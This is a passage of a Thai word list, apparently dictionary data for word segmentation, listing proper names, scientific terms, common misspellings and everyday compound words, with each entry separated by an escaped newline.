nเลโนโว\\nเลียดก๊ก\\nโลตัส\\nวชิราลงกรณ์\\nวลาดิเมียร์\\nวอลล์สตรีท\\nวาเลนไทน์\\nวิกตอเรีย\\nวิทยานุสรณ์\\nวิทยายน\\nวิมเบิลดัน\\nวิลเลียม\\nวีระ\\nวุฒิชัย\\nเวียดกง\\nไวตามิลค์\\nศกุนตลา\\nศรีวิชัย\\nศิริพงษ์\\nศิริราช\\nศุภชลาศัย\\nสดกก๊อกธม\\nสดายุ\\nสตาลิน\\nสตีฟ\\nสแตนฟอร์ด\\nสวรินทิรา\\nสังกัจจายน์\\nสาทิตย์\\nสารีบุตร\\nสิริกิติ์\\nสิรินธร\\nสิหิงค์\\nสีวลี\\nสีหนุ\\nสีหมุนี\\nสีหโมนี\\nสุครีพ\\nสุทโธทนะ\\nสุเทพ\\nสุนทราภรณ์\\nสุนีย์\\nสุรนารี\\nสุรยุทธ์\\nสุริยาสน์\\nเส้าหลิน\\nโสกราตีส\\nโสภิต\\nหนุมาน\\nหลินฮุ่ย\\nหลุยส์\\nเห้งเจีย\\nไหหม่า\\nองคต\\nองคุลิมาล\\nอชาตศัตรู\\nอดุลยเดช\\nอพอลโล\\nอริสโตเติล\\nอริสมันต์\\nอลิซาเบธ\\nอ๋อม\\nออร์คิด\\nออสการ์\\nอะพอลโล\\nอับราฮัม\\nอั้ม\\nอัลกออิดะห์\\nอัลคาเทล\\nอัลจาซีราห์\\nอัลเฟรด\\nอัลเลาะห์\\nอัสซุส\\nอัสสชิ\\nอัสสัมชัญ\\nอาเซม\\nอาเซ็ม\\nอาเซียน\\nอาฟต้า\\nอาร์เซนอล\\nอินทรชิต\\nอินทราทิตย์\\nอีซูซุ\\nอีเลฟเวน\\nอีเลฟเว่น\\nอุณรุท\\nอุบลรัตน์\\nอุบาลี\\nอุ๋ย\\nเอกทัศน์\\nเอเซอร์\\nเอ็ดเวิร์ด\\nเอดิสัน\\nเอแบค\\nเอลิซาเบธ\\nเอสพลานาด\\nเอสพลานาร์ด\\nแอคคอร์\\nแอคคอร์ด\\nแองเจลิน่า\\nแอตแลนติส\\nแอน\\nแอ๋ม\\nแอมบาสซาเดอร์\\nแอมบาสเดอร์\\nแอมเวย์\\nแอ๋ว\\nโอดีสซีย์\\nโอเดียน\\nโอบามา\\nโอรสาราม\\nโอลิมเปีย\\nโออิชิ\\nไอน์สไตน์\\nฮอนด้า\\nฮอปกินส์\\nฮอลลีวูด\\nฮอลลีวู้ด\\nฮานามิ\\nฮามาส\\nฮิตเลอร์\\nฮิตาชิ\\nฮุนเซน\\nฮุนเซ็น\\nฮุนได\\nฮุสเซ็น\\nเฮนรี\\nเฮนรี่\\nเฮเลน\\nโฮจิมินห์\\nโฮปเวลล์\\nโฮเมอร์\\n\\nกลีเซอรีน\\nกำทอน\\nแกนีมีด\\nครอส\\nคริสตัล\\nคลอโรพลาสต์\\nคลอไรด์\\nควอนตัม\\nคอนดักเตอร์\\nคอปเปอร์\\nคอลลาเจน\\nคอเลสเตอรอล\\nคอสมิก\\nคูลอมบ์\\nเคอราติน\\nแคโรทีน\\nแคสสินี\\nโครมาโทกราฟี\\nไคโตซาน\\nจีโนม\\nจุลชีววิทยา\\nชิคุนกุนยา\\nซัลฟิวริก\\nซัลเฟต\\nซัลไฟด์\\nซิงค์\\nซิริอุส\\nซิลิกา\\nซิลิเกต\\nซิลิโคน\\nซีเทน\\nซีเวิร์ต\\nเซ็กเตอร์\\nเซ็กเมนต์\\nเซมิ\\nโซนาร์\\nไซบอร์ก\\nดอปเปลอร์\\nดอปเพลอร์\\nไดนามิก\\nไดนามิกส์\\nไดนามิค\\nไดนามิคส์\\nไดออกไซด์\\nทรานส์\\nทามิฟลู\\nเทฟลอน\\nเทสโทสเตอโรน\\nเทอร์โม\\nแทนนิน\\nไททัน\\nไทฟอยด์\\nไทรอยด์\\nธาลัสซีเมีย\\nเนกาตีฟ\\nโนวา\\nบอแรกซ์\\nโบทอกซ์\\nโบท็อกซ์\\nไบโอติน\\nปฏิยานุพันธ์\\nโปรเจสเตอโรน\\nพอลิเมอร์\\nพันธุศาสตร์\\nพัลซาร์\\nพาร์กินสัน\\nพาราเซตามอล\\nพาราโบลา\\nเพอร์ออกไซด์\\nโพรเจสเทอโรน\\nโพลาไรซ์\\nโพลิเมอร์\\nโพลีเอทิลีน\\nไพรเมต\\nฟลาโวนอยด์\\nฟลูออเรสเซนซ์\\nฟลูออไรด์\\nฟอสซิล\\nฟิชชัน\\nฟิวชัน\\nฟีโรโมน\\nไฟเบอร์\\nมอนอกไซด์\\nมิราจ\\nเมตริกซ์\\nเมทริกซ์\\nเมลานิน\\nเมลามีน\\nโมเมนตัม\\nไมโตคอนเดรีย\\nไมโทคอนเดรีย\\nยีสต์\\nยูริก\\nยูเรีย\\nรูมาตอยด์\\nวีก้า\\nเวกเตอร์\\nเวก้า\\nเวสิเคิล\\nโวลต์\\nสเกล\\nสเกลาร์\\nสเต็ม\\nสเตียรอยด์\\nสปีชีส์\\nสเปิร์ม\\nสัมพัทธภาพ\\nสุริยจักรวาล\\nออกเทน\\nออโรรา\\nออโรร่า\\nอะคริลิก\\nอะครีลิก\\nอะซีติก\\nอะซีโตน\\nอะมิโน\\nอะลูมินา\\nอันโดรเมดา\\nอัลคาไลน์\\nอัลตราซาวด์\\nอัลตราซาวนด์\\nอัลลอยด์\\nอินทิกรัล\\nอินทิเกรต\\nอีโบลา\\nอีโบล่า\\nเอ็กซ์โพเนนเชียล\\nเอทานอล\\nเอทิลีน\\nเอนโทรปี\\nเอสเตอร์\\nเอสโตรเจน\\nเอสโทรเจน\\nแอนดรอยด์\\nแอนแทร็กซ์\\nแอมพลิจูด\\nแอมโมเนียม\\nแอลกอฮอลิซึม\\nแอสพาร์แตม\\nโอเซลทามิเวียร์\\nฮับเบิล\\nฮิวมัส\\nไฮดรอกไซด์\\nไฮดรอลิก\\nไฮโดรลิก\\nไฮเพอร์โบลา\\n\\nกงเต็ก\\nกฎุมพี\\nกฏ\\nกฏหมาย\\nกบฎ\\nกราไฟต์\\nก๊อปปี้\\nกะทะ\\nกังวาล\\nกุฎฐัง\\nกุฏุมพี\\nฃวด\\nคฑา\\nคลินิค\\nคลีนิก\\nคลีนิค\\nคาทอลิค\\nคึ่นฉ่าย\\nแคตตาล็อก\\nโควต้า\\nฅน\\nจุมพฎ\\nช็อคโกแลต\\nแซ่ด\\nดัทช์\\nทนง\\nทรมาณ\\nทราก\\nทะแยง\\nทิฏฐิ\\nบล็อค\\nบ๊องแบ๊ว\\nบัลเล่ต์\\nเบรค\\nแบงค์\\nปรากฎ\\nปัคคหะ\\nปาฏิโมกข์\\nปิติ\\nปิรามิด\\nโปรเตสแตนท์\\nพนิช\\nพยักเพยิด\\nพริ้ว\\nพลูโตเนียม\\nพากษ์\\nเฟิร์น\\nยากี้\\nเยภุยยสิกา\\nรุสเซีย\\nฤาษี\\nล็อค\\nล็อคเกอร์\\nวันทยาหัตถ์\\nวานิช\\nวิญญาน\\nวิศิษฐ์\\nศรีษะ\\nสเปกโทรสโคป\\nสฤษฎ์\\nสลิ่ม\\nสัตตสดก\\nสาราณียากร\\nสุกี้\\nสุกี้ยากี้\\nสูญญากาศ\\nหยอมแหยม\\nหยอย\\nหล่ะ\\nอะดรีนาลีน\\nอะหลั่ย\\nอัตคัต\\nอัฟริกา\\nอานิสงค์\\nอาฟริกา\\nอิริยาบท\\nอิเลคโทรนิคส์\\nอีรุงตุงนัง\\nอุตรายัน\\nอุลตรา\\nอุลตร้า\\nโอกาศ\\n\\nกกหู\\nกงการ\\nกงจักร\\nกฎเกณฑ์\\nกฎบัตร\\nกฎหมาย\\nกฎหมู่\\nกดขี่\\nกดดัน\\nก้นกบ\\nก้นบึ้ง\\nก้นปล่อง\\nกนิษฐภคินี\\nกนิษฐภาดา\\nกรงเล็บ\\nกรมการ\\nกรมท่า\\nกรมธรรม์\\nกรมนา\\nกรมวัง\\nกรรมกร\\nกรรมการ\\nกรรมฐาน\\nกรรมบถ\\nกรรมพันธุ์\\nกรรมวิธี\\nกรรมสิทธิ์\\nกระจกเงา\\nกระจกตา\\nกระจกนูน\\nกระจกเว้า\\nกระจอกชวา\\nกระจอกเทศ\\nกระจ้อยร่อย\\nกระจับบก\\nกระจับปิ้ง\\nกระจับปี่\\nกระโชกโฮกฮาก\\nกระดานดำ\\nกระดานหก\\nกระดาษแก้ว\\nกระดาษไข\\nกระดาษทราย\\nกระดาษสา\\nกระดูกงู\\nกระทาชาย\\nกระเท่เร่\\nกระบวนการ\\nกระบองเพชร\\nกระผีกริ้น\\nกระยาทิพย์\\nกระยาสารท\\nกระยาหาร\\nกระสอบทราย\\nกระสุนปืน\\nกระแสจิต\\nกระแสน้ำ\\nกระแสลม\\nกรับคู่\\nกรับพวง\\nกรับเสภา\\nกราดเกรี้ยว\\nกราวรูด\\nกริ่งเกรง\\nกรีฑาสถาน\\nกรีดกราย\\nกรี๊ดกร๊าด\\nกลไก\\nกลบท\\nกลเม็ด\\nกลยุทธ์\\nกลวิธี\\nกลศาสตร์\\nกลอักษร\\nกลบเกลื่อน\\nกลมกล่อม\\nกลมกลืน\\nกลมเกลียว\\nกล้วยแขก\\nกล้วยไม้\\nกล่องเสียง\\nกล่อมเกลา\\nกล่อมเกลี้ยง\\nกลัดกลุ้ม\\nกลัดมัน\\nกลั่นกรอง\\nกลั่นแกล้ง\\nกลับกลอก\\nกลางคน\\nกลางคัน\\nกลางค่ำ\\nกลางคืน\\nกลางแจ้ง\\nกลางแปลง\\nกลางวัน\\nกลาดเกลื่อน\\nกล่าวขวัญ\\nกล่าวโทษ\\nกล่าวหา\\nกล้ำกราย\\nกล้ำกลืน\\nกลิ้งกลอก\\nกลิ้งเกลือก\\nกลิ่นอาย\\nกลียุค\\nกวดขัน\\nกวัดแกว่ง\\nกวัดไกว\\nกวีนิพนธ์\\nก่อกวน\\nก่อการ\\nก่อตั้ง\\nก่อสร้าง\\nก่อหวอด\\nก้อร่อก้อติก\\nกองกลาง\\nกองเกิน\\nกองโจร\\nกองทัพ\\nกองทุน\\nกองพล\\nกองพัน\\nกองฟอน\\nกองร้อย\\nกองหนุน\\nกอบโกย\\nกะเกณฑ์\\nกะบังลม\\nกักกัน\\nกักขัง\\nกักตัว\\nกักตุน\\nกัณฑ์เทศน์\\nกัดฟัน\\nกันชน\\nกันท่า\\nกันสาด\\nกันเอง\\nกับแกล้ม\\nกับข้าว\\nกับระเบิด\\nกากเพชร\\nกากหมู\\nกาชาด\\nกาญจนาภิเษก\\nก้านคอ\\nกาฝาก\\nก้ามกราม\\nกามกิจ\\nกามคุณ\\nกามเทพ\\nกามโรค\\nก้ามปู\\nกายกรรม\\nกายบริหาร\\nกายภาพ\\nกายวิภาค\\nกายสิทธิ์\\nก่ายกอง\\nการคลัง\\nการเงิน\\nการบ้าน\\nการเปรียญ\\nการเมือง\\nการเรือน\\nการละเล่น\\nกาลกิริยา\\nกาลเทศะ\\nก้าวก่าย\\nก้าวร้าว\\nก้าวหน้า\\nกาสาวพัสตร์\\nกาฬพฤกษ์\\nกาฬโรค\\nกำปั้น\\nกำมือ\\nกำแพงขาว\\nกำลังใจ\\nกำลังม้า\\nกี่งอำเภอ\\nกิจกรรม\\nกิจการ\\nกิจวัตร\\nกิจจะลักษณะ\\nกิตติคุณ\\nกิตติศัพท์\\nกินขาด\\nกินใจ\\nกินดอง\\nกินโต๊ะ\\nกินแบ่ง\\nกินเปล่า\\nกินเลี้ยง\\nกินเส้น\\nกินแหนง\\nกิโลกรัม\\nกิโลเมตร\\nกิโลลิตร\\nกิโลเฮิรตซ์\\nกีดกัน\\nกีดกั้น\\nกีดขวาง\\nกึกก้อง\\nกึกกัก\\nกึกกือ\\nกึ่งกลาง\\nกุกกัก\\nกุ๊กกิ๊ก\\nกุ้งฝอย\\nกุ้งมังกร\\nกุ้งแห้ง\\nกุ้งเต้น\\nกุ้งยิง\\nกุญแจผี\\nกุญแจมือ\\nกุญแจเลื่อน\\nกุญแจเสียง\\nกุลธิดา\\nกุลบุตร\\nกุลสตรี\\nกู้ยืม\\nเก้งก้าง\\nเก็บกวาด\\nเก็บเกี่ยว\\nเก็บงำ\\nเก็บตก\\nเกรงกลัว\\nเกรงใจ\\nเกรงขาม\\nเกรียงไกร\\nเกรียมกรม\\nเกรี้ยวกราด\\nเกล็ดเลือด\\nเกลี้ยกล่อม\\nเกลี้ยงเกลา\\nเกลือกกลั้ว\\nเกลือกกลิ้ง\\nเกลื่อนกล่น\\nเกลื่อนกลาด\\nเกศธาตุ\\nเกษตรกร\\nเกษตรกรรม\\nเกษตรศาสตร์\\nเกษมสันต์\\nเกษียรสมุทร\\nเก้อเขิน\\nเกาะแกะ\\nเกี่ยงงอน\\nเกียจคร้าน\\nเกียรติคุณ\\nเกียรตินิยม\\nเกียรติประวัติ\\nเกียรติภูมิ\\nเกียรติยศ\\nเกียรติศักดิ์\\nเกียรติมุข\\nเกี่ยวข้อง\\nเกี่ยวดอง\\nเกี่ยวพัน\\nเกี่ยวโยง\\nเกี้ยวพาน\\nเกี้ยวพาราสี\\nแก่แดด\\nแก้ขัด\\nแก้ไข\\nแก้ตัว\\nแก้เผ็ด\\nแก้ลำ\\nแกงคั่ว\\nแกงจืด\\nแกงบวด\\nแกงป่า\\nแกงเผ็ด\\nแกงส้ม\\nแก่งแย่ง\\nแก่นแก้ว\\nแก่นสาร\\nแก้วตา\\nแก้วหู\\nแกว่งกวัด\\nแกว่งไกว\\nแกะรอย\\nโก้เก๋\\nโกรธเกรี้ยว\\nโกรธขึ้ง\\nไก่เขี่ย\\nไก่ชน\\nไก่บ้าน\\nไก่ป่า\\nไก่ฟ้า\\nไกล่เกลี่ย\\nขจัดขจาย\\nขนเพชร\\nขนสัตว์\\nขนหนู\\nขนส่ง\\nขนมจีน\\nขบขัน\\nขบวนการ\\nข่มขี่\\nข่มขู่\\nข่มขืน\\nข่มเหง\\nขมหิน\\nขมิ้นชัน\\nขมุบขมิบ\\nขยะแขยง\\nขยักขย่อน\\nขยักขย้อน\\nขยับขยาย\\nขยับเขยื้อน\\nขวดโหล\\nขวยเขิน\\nขวัญใจ\\nขวัญตา\\nขวัญอ่อน\\nขวากหนาม\\nขวางโลก\\nของ้าว\\nขอสับ\\nขอขมา\\nขอทาน\\nขอโทษ\\nขอร้อง\\nขออภัย\\nข้อเขียน\\nข้อความ\\nข้อเท็จจริง\\nของกลาง\\nของขวัญ\\nของแข็ง\\nของชำ\\nของลับ\\nของเล่น\\nของว่าง\\nของเหลว\\nของไหล\\nของไหว้\\nข้องใจ\\nข้องแวะ\\nขอบข่าย\\nขอบเขต\\nขอบคุณ\\nขอบใจ\\nขอบพระคุณ\\nข้อมูล\\nข้อแม้\\nข้อหา\\nข้อสังเกต\\nขัดข้อง\\nขัดขืน\\nขัดเขิน\\nขัดจังหวะ\\nขัดดอก\\nขัดแตะ\\nขัดยอก\\nขัดแย้ง\\nขัดสมาธิ\\nขันหมาก\\nขันอาสา\\nขับขี่\\nขับเคี่ยว\\nขั้วโลก\\nขาจร\\nขาประจำ\\nข้าราชการ\\nข้าศึก\\nข้าหลวง\\nขาดแคลน\\nขาดใจ\\nขาดตอน\\nขาดตัว\\nขาดทุน\\nขาดเหลือ\\nขายหน้า\\nข่าวกรอง\\nข่าวคราว\\nข่าวล่า\\nข่าวลือ\\nข่าวสาร\\nข้าวเกรียบ\\nข้าวแกง\\nข้าวของ\\nข้าวจี่\\nข้าวเจ้า\\nข้าวซอย\\nข้าวต้ม\\nข้าวตอก\\nข้าวตัง\\nข้าวแตน\\nข้าวทิพย์\\nข้าวบิณฑ์\\nข้าวเปลือก\\nข้าวโพด\\nข้าวฟ่าง\\nข้าวเม่า\\nข้าวสวย\\nข้าวสาร\\nข้าวเหนียว\\nข้าวหมาก\\nข้าวหลาม\\nขี้เกียจ\\nขี้ข้า\\nขี้ครอก\\nขี้คร้าน\\nขี้คุก\\nขี้ไคล\\nขี้เซา\\nขีดขั้น\\nขีดคร่อม\\nขีดคั่น\\nขีดฆ่า\\nขี้ตา\\nขี้ตืด\\nขี้เถ้า\\nขี้ทูด\\nขี้ปะติ๋ว\\nขี้ผึ้ง\\nขี้มูก\\nขี้ยา\\nขี้แย\\nขี้ริ้ว\\nขี้เรื้อน\\nขี้เล็บ\\nขี้หู\\nขี้หน้า\\nขี้เหนียว\\nขี้เหล็ก\\nขี้เหร่\\nขึงขัง\\nขึงพืด\\nขึ้งโกรธ\\nขึ้นใจ\\nขึ้นชื่อ\\nขึ้นมือ\\nขืนใจ\\nขื่นขม\\nขุดคุ้ย\\nขุนทอง\\nขุนนาง\\nขุนพล\\nขุนศึก\\nขุนหลวง\\nขูดรีด\\nเข็มกลัด\\nเข็มขัด\\nเข้มข้น\\nเข้มแข็ง\\nเข้มงวด\\nเข็มทิศ\\nเข็มหมุด\\nเข้าขา\\nเข้าเค้า\\nเข้าใจ\\nเข้าชื่อ\\nเข้าตัว\\nเข้าถึง\\nเข้าทรง\\nเข้าท่า\\nเข้าที\\nเข้าเนื้อ\\nเข้าเล่ม\\nเขียวเสวย\\nเขียวหวาน\\nแขกเต้า\\nแข็งกร้าว\\nแข็งกล้า\\nแข็งแกร่ง\\nแข็งข้อ\\nแข็งขัน\\nแข่งขัน\\nแข็งใจ\\nแข็งตัว\\nแข็งเมือง\\nแข็งแรง\\nแขวนลอย\\nโขกสับ\\nโขยกเขยก\\nไขข้อ\\nไขควง\\nไขมัน\\nไข่มุก\\nไขว่ห้าง\\nไขสันหลัง\\nไขสือ\\nไข่เค็ม\\nไข่เยี่ยวม้า\\nไข่หงส์\\nไข่เหี้ย\\nคงกระพัน\\nคงตัว\\nคงทน\\nคงที่\\nคชลักษณ์\\nคชสาร\\nคชสีห์\\nคชราช\\nคณิตศาสตร์\\nคดเคี้ยว\\nคติธรรม\\nคติพจน์\\nคนกลาง\\nคนไข้\\nคนใช้\\nคนทรง\\nคบไฟ\\nคบเพลิง\\nคบค้า\\nคบคิด\\nคบหา\\nคมคาย\\nครบครัน\\nครบถ้วน\\nครอบครอง\\nครอบคลุม\\nครอบครัว\\nครอบงำ\\nครอบจักรวาล\\nคริสตกาล\\nคริสตจักร\\nคริสต์มาส\\nคริสต์ศตวรรษ\\nคริสต์ศักราช\\nคริสตัง\\nคริสเตียน\\nครุกรรม\\nครุภัณฑ์\\nครุศาสตร์\\nครุฑพ่าห์\\nครุ่นคิด\\nคลอเคลีย\\nคล่องแคล่ว\\nคล่องตัว\\nคล่องมือ\\nคลั่งไคล้\\nคลาคล่ำ\\nคลาไคล\\nคลาดเคลื่อน\\nคลาดแคล้ว\\nคลี่คลาย\\nคลึงเคล้น\\nคลึงเคล้า\\nคลื่นไส้\\nคลื่นเหียน\\nคลุกคลี\\nคลุกคลาน\\nคลุมเครือ\\nคลุมโปง\\nคลุ้มคลั่ง\\nควงสว่าน\\nควบคุม\\nควบคู่\\nควบแน่น\\nควันหลง\\nความคิด\\nความหลัง\\nความเห็น\\nคอหอย\\nคอห่าน\\nคอแห้ง\\nค่อนขอด\\nค่อนแคะ\\nค้อนควัก\\nคั่งค้าง\\nคั่งแค้น\\nคัดค้าน\\nคัดง้าง\\nคัดท้าย\\nคัดเลือก\\nคันจาม\\nคันฉ่อง\\nคันฉาย\\nคันชัก\\nคันชั่ง\\nคันไถ\\nคันนา\\nคันเร่ง\\nคับขัน\\nคับคั่ง\\nคับแค้น\\nคับแคบ\\nคางทูม\\nคางหมู\\nค้างคืน\\nค้างปี\\nคาดคั้น\\nคาดเชือก\\nคาดโทษ\\nคาดหมาย\\nคานหาม\\nคาบเกี่ยว\\nคาบศิลา\\nคาบสมุทร\\nคำขาด\\nคำนำ\\nคิดค้น\\nคืนดี\\nคืนตัว\\nคุกเข่า\\nคุณค่า\\nคุณชาย\\nคุณธรรม\\nคุณนาย\\nคุณภาพ\\nคุณลักษณะ\\nคุณวุฒิ\\nคุณศัพท์\\nคุณสมบัติ\\nคุณหญิง\\nคุณากร\\nคุณูปการ\\nคุโณปการ\\nคุมเชิง\\nคุ้มกัน\\nคุยเขื่อง\\nคุยโต\\nคุ้ยเขี่ย\\nคุ้มครอง\\nคู่กรณี\\nคู่กัด\\nคู่ขา\\nคู่แข่ง\\nคู่ครอง\\nคู่ควร\\nคู่คิด\\nคู่คี่\\nคู่ใจ\\nคู่ชีพ\\nคู่ชีวิต\\nคู่บารมี\\nคู่บุญ\\nคู่ปรปักษ์\\nคู่ปรับ\\nคู่ผสม\\nคู่มือ\\nคู่รัก\\nคู่ลำดับ\\nคู่สาย\\nคู่หมั้น\\nคู่หู\\nคู่อริ\\nคู่อาฆาต\\nเคมีภัณฑ์\\nเคยตัว\\nเคร่งขรึม\\nเคร่งครัด\\nเคร่งเครียด\\nเครดิตฟองซิเอร์\\nเครื่องกล\\nเครื่องกัณฑ์\\nเครื่องแกง\\nเครื่องเขิน\\nเครื่องครัว\\nเครื่องเคียง\\nเครื่องเงิน\\nเครื่องจักร\\nเครื่องเซ่น\\nเครื่องดนตรี\\nเครื่องต้น\\nเครื่องทุ่นแรง\\nเครื่องเทศ\\nเครื่องใน\\nเครื่องบิน\\nเครื่องบูชา\\nเครื่องแบบ\\nเครื่องประดับ\\nเครื่องปรุง\\nเครื่องปรุงรส\\nเครื่องมือ\\nเครื่องยนต์\\nเครื่องร่อน\\nเครื่องราง\\nเครื่องเรือน\\nเครื่องล่าง\\nเครื่องเล่น\\nเครื่องสาย\\nเครื่องสำอาง\\nเครื่องสุกำศพ\\nเครื่องหมาย\\nเครือรัฐ\\nเคลียคลอ\\nเคลื่อนที่\\nเคลื่อนไหว\\nเคลือบแคลง\\nเคลือบแฝง\\nเคลือบฟัน\\nเคว้งคว้าง\\nเคหสถาน\\nเค้าโครง\\nเคียดแค้น\\nเคี่ยวเข็ญ\\nเคี้ยวเอื้อง\\nเคืองขุ่น\\nโคนม\\nโคบาล\\nโคมูตร\\nโคมลอย\\nโครงการ\\nโครงเรื่อง\\nโครงงาน\\nโครงสร้าง\\nโครมคราม\\nโคลงเคลง\\nฆ้องกระแต\\nฆ้องชัย\\nฆ้องวง\\nฆ้องหุ่ย\\nฆ้องเหม่ง\\nฆ้องโหม่ง\\nฆาตกร\\nฆาตกรรม\\nฆานประสาท\\nงงงวย\\nงงงัน\\nงดเว้น\\nงบดุล\\nงบประมาณ\\nงมโข่ง\\nงมงาย\\nง่วงงุน\\nง่วงเหงา\\nงอหาย\\nง้องอน\\nงอนง้อ\\nงอมแงม\\nงาช้าง\\nง่าเงย\\nงานการ\\nง่ายดาย\\nงึมงำ\\nเงินเดือน\\nเงินตรา\\nเงินยวง\\nเงียบกริบ\\nเงียบเชียบ\\nเงียบเหงา\\nเงื่องหงอย\\nเงื่อนไข\\nเงื่อนงำ\\nเงื่อนเวลา\\nเงื้อมมือ\\nแง่งอน\\nจงใจ\\nจงรัก\\nจดจ่อ\\nจดจำ\\nจดหมาย\\nจดหมายเหตุ\\nจรจัด\\nจรรยาบรรณ\\nจริงจัง\\nจริงใจ\\nจอมขวัญ\\nจอมใจ\\nจอมทัพ\\nจอมปลวก\\nจอมพล\\nจ๊ะเอ๋\\nจักสาน\\nจักรพรรดิ\\nจักรภพ\\nจักรยาน\\nจักรยานยนต์\\nจักรราศี\\nจักรวรรดิ\\nจักรวรรดินิยม\\nจักรวาล\\nจังหนับ\\nจัดการ\\nจัดจ้าน\\nจัดเจน\\nจัดแจง\\nจัดตั้ง\\nจัดสรร\\nจับกุม\\nจับจด\\nจับเจ่า\\nจ่าหน้า\\nจาตุทสี\\nจาตุมหาราช\\nจาตุมหาราชิก\\nจาตุมหาราชิกา\\nจาตุรงคสันนิบาต\\nจาตุรราชการ\\nจานเชิง\\nจานบิน\\nจานผี\\nจานเสียง\\nจาบจ้วง\\nจำเป็น\\nจำพรรษา\\nจำวัด\\nจ้ำจี้จ้ำไช\\nจำเลาะตา\\nจิงโจ้น้ำ\\nจิตใจ\\nจิตตภาวนา\\nจิตตัง\\nจิตตานุปัสสนา\\nจิตนิยม\\nจิตบำบัด\\nจิตแพทย์\\nจิตวิสัย\\nจิตรกร\\nจิตรกรรม\\nจิตรลดา\\nจิตวิทยา\\nจิตเวช\\nจิตเวชศาสตร์\\nจินตกวี\\nจินตนา\\nจินตนาการ\\nจินตภาพ\\nจุฑามณี\\nจุฑามาศ\\nจุฑารัตน์\\nจุนเจือ\\nจุ้นจ้าน\\nจุลชีพ\\nจุลชีวัน\\nจุลชีวิน\\nจุลทรรศน์\\nจุลภาค\\nจุลวรรค\\nจุลศักราช\\nจุลสาร\\nจุลินทรีย์\\nจุฬามณี\\nจุฬาลักษณ์\\nเจตคติ\\nเจตจำนง\\nเจตนารมณ์\\nเจตภูต\\nเจริญพร\\nเจ้ากรม\\nเจ้ากรรม\\nเจ้าของ\\nเจ้าขา\\nเจ้าข้า\\nเจ้าคณะ\\nเจ้าค่ะ\\nเจ้าจอม\\nเจ้าชู้\\nเจ้าตัว\\nเจ้าถิ่น\\nเจ้าท่า\\nเจ้าที่\\nเจ้าทุกข์\\nเจ้านาย\\nเจ้าเนื้อ\\nเจ้าบ้าน\\nเจ้าบ่าว\\nเจ้าประคุณ\\nเจ้าประคู้น\\nเจ้าพนักงาน\\nเจ้าพระคุณ\\nเจ้าพระยา\\nเจ้าพ่อ\\nเจ้าพายุ\\nเจ้าฟ้า\\nเจ้าภาพ\\nเจ้ามือ\\nเจ้าแม่\\nเจ้าเรือน\\nเจ้าสังกัด\\nเจ้าสัว\\nเจ้าสาว\\nเจ้าหน้าที่\\nเจ้าหนี้\\nเจ้าอาวาส\\nเจาะจง\\nเจือจาง\\nเจือจาน\\nเจือปน\\nเจื้อยแจ้ว\\nแจกจ่าย\\nแจ่มแจ้ง\\nแจ่มใส\\nโจงกระเบน\\nโจมตี\\nโจรกรรม\\nโจรสลัด\\nใจความ\\nใจคอ\\nฉกฉวย\\nฉกชิง\\nฉลองได\\nฉ้อฉล\\nฉัตรมงคล\\nฉันทลักษณ์\\nฉายาลักษณ์\\nฉิบหาย\\nฉุกเฉิน\\nฉุกละหุก\\nฉุนเฉียว\\nฉุปศาสตร์\\nเฉไฉ\\nเฉยเมย\\nเฉาโฉด\\nเฉิดฉัน\\nเฉิดฉาย\\nเฉิดฉิน\\nเฉียบขาด\\nเฉียบพลัน\\nเฉียบแหลม\\nเฉื่อยชา\\nแฉะแบะ\\nโฉดเฉา\\nโฉมงาม\\nโฉมฉาย\\nโฉมเฉลา\\nโฉมตรู\\nโฉมยง\\nโฉมศรี\\nโฉมหน้า\\nชดช้อย\\nชดเชย\\nชดใช้\\nชนบท\\nชนินทร์\\nชนกกรรม\\nชนมพรรษา\\nชนมายุ\\nชมเชย\\nชมพูทวีป\\nชมพูนท\\nชมพูนุท\\nชราธรรม\\nชราภาพ\\nชลจร\\nชลธาร\\nชลธี\\nชลนัยน์\\nชลนา\\nชลเนตร\\nชลประทาน\\nชลมารค\\nชลาธาร\\nชลาลัย\\nชลาศัย\\nชลาสินธุ์\\nชโลทร\\nช่วงชิง\\nช่วงใช้\\nชวนชม\\nชวนหัว\\nช่วยเหลือ\\nช่อฟ้า\\nช่อม่วง\\nชอกช้ำ\\nช่องเขา\\nช่องแคบ\\nช่องไฟ\\nช่องว่าง\\nช้องนาง\\nชอบกล\\nชอบใจ\\nชอบธรรม\\nชอบพอ\\nชักโครก\\nชักเงา\\nชักจูง\\nชักชวน\\nชักนำ\\nชักเนื้อ\\nชักพระ\\nชักเย่อ\\nชักใย\\nชั่งใจ\\nชังฆวิหาร\\nชัดเจน\\nชั้นเชิง\\nชั่วคน\\nชั่วคราว\\nชั่วช้า\\nชั่วโมง\\nชั่วแล่น\\nชาเย็น\\nช้านาน\\nช่างเครื่อง\\nช่างฝีมือ\\nช่างฟิต\\nช่างไฟ\\nช้างน้ำ\\nช้างเผือก\\nช้างพลาย\\nช้างพัง\\nช้างสาร\\nช้างสีดอ\\nชาติธรรม\\nชาตินิยม\\nชาติพันธุ์\\nชาติพันธุ์วิทยา\\nชาติภูมิ\\nชานชาลา\\nชายชาตรี\\nชายคา\\nชายฝั่ง\\nชายทะเล\\nชาวเล\\nชาววัง\\nช้ำใจ\\nช้ำชอก\\nชิงชัง\\nชิงพลบ\\nชินชา\\nชินบุตร\\nชิ้นเอก\\nชิมลาง\\nชีเปลือย\\nชี้ขาด\\nชี้แจง\\nชี้นำ\\nชี้แนะ\\nชี้ฟ้า\\nชีพจร\\nชีพิตักษัย\\nชื่นชม\\nชื่นบาน\\nชื่นมื่น\\nชื่อย่อ\\nชื่อรอง\\nชื่อเล่น\\nชื่อเสียง\\nชุกชุม\\nชุติมา\\nชุบตัว\\nชุบเลี้ยง\\nชุมชน\\nชุมทาง\\nชุมสาย\\nชุ่มใจ\\nชุ่มชื่น\\nชุ่มชื้น\\nชุมนุมชน\\nชูชีพ\\nชูโรง\\nชู้สาว\\nเชยชม\\nเชลยศักดิ์\\nเชลยศึก\\nเช่าซื้อ\\nเช้าตรู่\\nเช้ามืด\\nเชิงกราน\\nเชิงกล\\nเชิงชั้น\\nเชิงชาย\\nเชิงซ้อน\\nเชิงเดียว\\nเชิงเดี่ยว\\nเชิงตะกอน\\nเชิงเทิน\\nเชิงมุม\\nเชิดชู\\nเชิงอรรถ\\nเชี่ยนหมาก\\nเชี่ยวชาญ\\nเชื่องช้า\\nเชื่อใจ\\nเชื่อถือ\\nเชื่อฟัง\\nเชื่อมือ\\nเชื้อชาติ\\nเชื้อเพลิง\\nเชื้อไฟ\\nเชื้อโรค\\nเชื้อสาย\\nเชื้อเชิญ\\nเชื่องช้า\\nเชือนแช\\nเชื่อวัน\\nแช่เย็น\\nแช่อิ